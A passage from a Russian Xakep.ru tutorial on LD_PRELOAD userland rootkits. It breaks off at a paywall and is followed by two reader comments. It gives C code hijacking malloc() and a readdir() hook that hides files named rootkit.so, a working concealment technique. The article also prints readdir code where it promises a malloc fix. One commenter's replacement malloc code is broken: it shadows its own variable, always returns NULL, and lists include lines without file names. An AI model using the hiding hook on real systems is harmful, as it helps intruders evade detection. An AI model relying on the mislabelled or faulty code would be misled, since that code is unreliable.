В ник­сах сущес­тву­ет перемен­ная сре­ды, при ука­зании которой твои биб­лиоте­ки будут заг­ружать­ся рань­ше осталь­ных. А это зна­чит, что появ­ляет­ся воз­можность под­менить сис­темные вызовы. Называ­ется перемен­ная LD_PRELOAD, и в этой статье мы под­робно обсу­дим ее зна­чение в сок­рытии (и обна­руже­нии!) рут­китов.

Офи­циаль­но глав­ное пред­назна­чение LD_PRELOAD — отладка или про­вер­ка фун­кций в динами­чес­ки под­клю­чаемых биб­лиоте­ках. Если не хочет­ся исправ­лять и переком­пилиро­вать саму биб­лиоте­ку, то мож­но вос­поль­зовать­ся перемен­ной сре­ды.

К при­меру, если нам нуж­но пред­загру­зить биб­лиоте­ку ld.so, то у нас будет два спо­соба:

  1. Ус­тановить перемен­ную сре­ды LD_PRELOAD с фай­лом биб­лиоте­ки.
  2. За­писать путь к биб­лиоте­ке в файл /etc/ld.so.preload.

В пер­вом слу­чае мы объ­явля­ем перемен­ную с биб­лиоте­кой для текуще­го поль­зовате­ля и его окру­жения. Во вто­ром же наша биб­лиоте­ка будет заг­ружена рань­ше осталь­ных для всех поль­зовате­лей сис­темы.

Нам инте­ресен как раз вто­рой спо­соб: имен­но он час­то исполь­зует­ся в рут­китах для перех­вата некото­рых вызовов, таких как чте­ние фай­ла, лис­тинг дирек­тории, про­цес­сов и про­чих фун­кций, поз­воля­ющих зло­умыш­ленни­ку скры­вать свое при­сутс­твие в сис­теме.

www

В осно­ве это­го иссле­дова­ния — пуб­ликация Абхи­нава Тха­кура Crafting LD_PRELOAD Rootkits in Userland.

 

Переопределение системных вызовов

Преж­де чем мы нач­нем сбли­жение с реаль­ными фун­кци­ями рут­китов, давай на неболь­шом при­мере покажу, как мож­но перех­ватить вызов стан­дар­тной фун­кции malloc().

Для это­го напишем прос­тую прог­рамму, которая выделя­ет блок памяти с помощью фун­кции malloc(), затем помеща­ет в него фун­кци­ей strncpy() стро­ку I'll be back и выводит ее пос­редс­твом fprintf() по адре­су, который вер­нула malloc().

Соз­даем файл call_malloc.c:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
char *alloc = (char *)malloc(0x100);
strncpy(alloc, "I'll be back\0", 14);
fprintf(stderr, "malloc(): %p\nStr: %s\n", alloc, alloc);
}

Те­перь напишем прог­рамму, пере­опре­деля­ющую malloc(). Внут­ри — фун­кция с тем же име­нем, что и в libc. Наша фун­кция не дела­ет ничего, кро­ме вывода стро­ки в STDERR c помощью fprintf(). Соз­дадим файл libmalloc.c:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdlib.h>
#include <stdio.h>
void *malloc(size_t size)
{
fprintf(stderr, "\nHijacked malloc(%ld)\n\n", size);
return 0;
}

Те­перь с помощью GCC ском­пилиру­ем наш код:

$ ls
call_malloc.c libmalloc.c

$ gcc -Wall -fPIC -shared -o libmalloc.so libmalloc.c -ldl
$ gcc -o call_malloc call_malloc.c
$ ls
call_malloc call_malloc.c libmalloc.c libmalloc.so

Вы­пол­ним нашу прог­рамму call_malloc:

$ ./call_malloc
malloc(): 0x5585b2466260
Str: I'll be back

Пос­мотрим, какие биб­лиоте­ки исполь­зует наша прог­рамма, с помощью ути­литы ldd:

$ ldd ./call_malloc
linux-vdso.so.1 (0x00007fff0cd81000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0d35c74000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0d35e50000)

От­лично вид­но, что без исполь­зования пред­загруз­чика LD_PRELOAD стан­дар­тно заг­ружа­ются три биб­лиоте­ки:

  1. linux-vdso.so.1 — пред­став­ляет собой вир­туаль­ный динами­чес­кий раз­деля­емый объ­ект (Virtual Dynamic Shared Object, VDSO), исполь­зуемый для опти­миза­ции час­то исполь­зуемых сис­темных вызовов. Его мож­но игно­риро­вать (под­робнее — man 7 vdso).
  2. libc.so.6 — биб­лиоте­ка libc с исполь­зуемой нами фун­кци­ей malloc() в прог­рамме call_malloc.
  3. ld-linux-x86-64.so.2 — сам динами­чес­кий ком­понов­щик.

Те­перь давай опре­делим перемен­ную LD_PRELOAD и поп­робу­ем перех­ватить malloc(). Здесь я не буду исполь­зовать export и огра­ничусь однос­троч­ной коман­дой для прос­тоты:

$ LD_PRELOAD=./libmalloc.so ./call_malloc
Hijacked malloc(256)
Ошиб­ка сег­менти­рова­ния

Мы успешно перех­ватили malloc() из биб­лиоте­ки libc.so, но сде­лали это не сов­сем чис­то. Фун­кция воз­вра­щает зна­чение ука­зате­ля NULL, что при разыме­нова­нии strncpy() в прог­рамме ./call_malloc вызыва­ет ошиб­ку сег­менти­рова­ния. Испра­вим это.

 

Обработка сбоев

Что­бы иметь воз­можность незамет­но выпол­нить полез­ную наг­рузку рут­кита, нам нуж­но вер­нуть зна­чение, которое вер­нула бы пер­воначаль­но выз­ванная фун­кция. У нас есть два спо­соба решить эту проб­лему:

  • на­ша фун­кция malloc() дол­жна реали­зовы­вать фун­кци­ональ­ность malloc() биб­лиоте­ки libc по зап­росу поль­зовате­ля. Это пол­ностью изба­вит от необ­ходимос­ти исполь­зовать malloc() из libc.so;
  • libmalloc.so каким‑то обра­зом дол­жна иметь воз­можность вызывать malloc() из биб­лиоте­ки libc и воз­вра­щать резуль­таты вызыва­ющей прог­рамме.

Каж­дый раз при вызове malloc() динами­чес­кий ком­понов­щик вызыва­ет вер­сию malloc() из libmalloc.so, пос­коль­ку это пер­вое вхож­дение malloc(). Но мы хотим выз­вать сле­дующее вхож­дение malloc() — то, что находит­ся в libc.so.

Так про­исхо­дит потому, что динами­чес­кий ком­понов­щик внут­ри исполь­зует фун­кцию dlsym() из /usr/include/dlfcn.h для поис­ка адре­са заг­ружен­ного в память.

По умол­чанию в качес­тве пер­вого аргу­мен­та для dlsym() исполь­зует­ся дес­крип­тор RTLD_DEFAULT, который воз­вра­щает адрес пер­вого вхож­дения сим­вола. Одна­ко есть еще один псев­доука­затель динами­чес­кой биб­лиоте­ки — RTLD_NEXT, который ищет сле­дующее вхож­дение. Исполь­зуя RTLD_NEXT, мы можем най­ти фун­кцию malloc() биб­лиоте­ки libc.so.

От­редак­тиру­ем libmalloc.с. Ком­мента­рии объ­ясня­ют, что про­исхо­дит внут­ри прог­раммы:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
// Определяем макрос, который является
// названием скрываемого файла
#define RKIT "rootkit.so"
// Здесь все то же, что и в примере с malloc()
struct dirent* (*orig_readdir)(DIR *) = NULL;
struct dirent *readdir(DIR *dirp)
{
if (orig_readdir == NULL)
orig_readdir = (struct dirent*(*)(DIR *))dlsym(RTLD_NEXT, "readdir");
// Вызов orig_readdir() для получения каталога
struct dirent *ep = orig_readdir(dirp);
while ( ep != NULL && !strncmp(ep->d_name, RKIT, strlen(RKIT)) )
ep = orig_readdir(dirp);
return ep;
}

В цик­ле про­веря­ется, не NULL ли зна­чение дирек­тории, затем вызыва­ется strncmp() для про­вер­ки, сов­пада­ет ли d_name катало­га с RKIT (фай­ла с рут­китом). Если оба усло­вия вер­ны, вызыва­ется фун­кция orig_readdir() для чте­ния сле­дующей записи катало­га. При этом про­пус­кают­ся все дирек­тории, у которых d_name начина­ется с rootkit.so.

Те­перь давай пос­мотрим, как отра­бота­ет наша биб­лиоте­ка в этот раз. Сно­ва ком­пилиру­ем и смот­рим на резуль­тат работы:

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

2 комментария

  1. Аватар

    OlegFlores

    30.12.2020 в 03:36

    В разделе Обработка сбоев пример исходников не тот.

  2. Аватар

    oza11

    05.01.2021 в 16:07

    Отличная статья, но есть ошибка, код функции malloc, на самом деле является кодом функции readdir, в главе «Обработка сбоев».

    Можно сделать так:

    #define _GNU_SOURCE
    #include
    #include
    #include

    void* (*orig_malloc)(size_t size) = NULL;

    void *malloc(size_t size)
    {
    void *ep = NULL;
    if (orig_malloc == NULL) {
    //Получение указателя на оригинальный malloc
    orig_malloc = (void*(*)(size_t *))dlsym(RTLD_NEXT, «malloc»);
    // Вызов malloc
    if (orig_malloc != NULL) {
    void *ep = orig_malloc(size);
    fprintf(stderr, «\nHijacked malloc(%ld)\n\n», size);
    }
    }
    return ep;
    }

Оставить мнение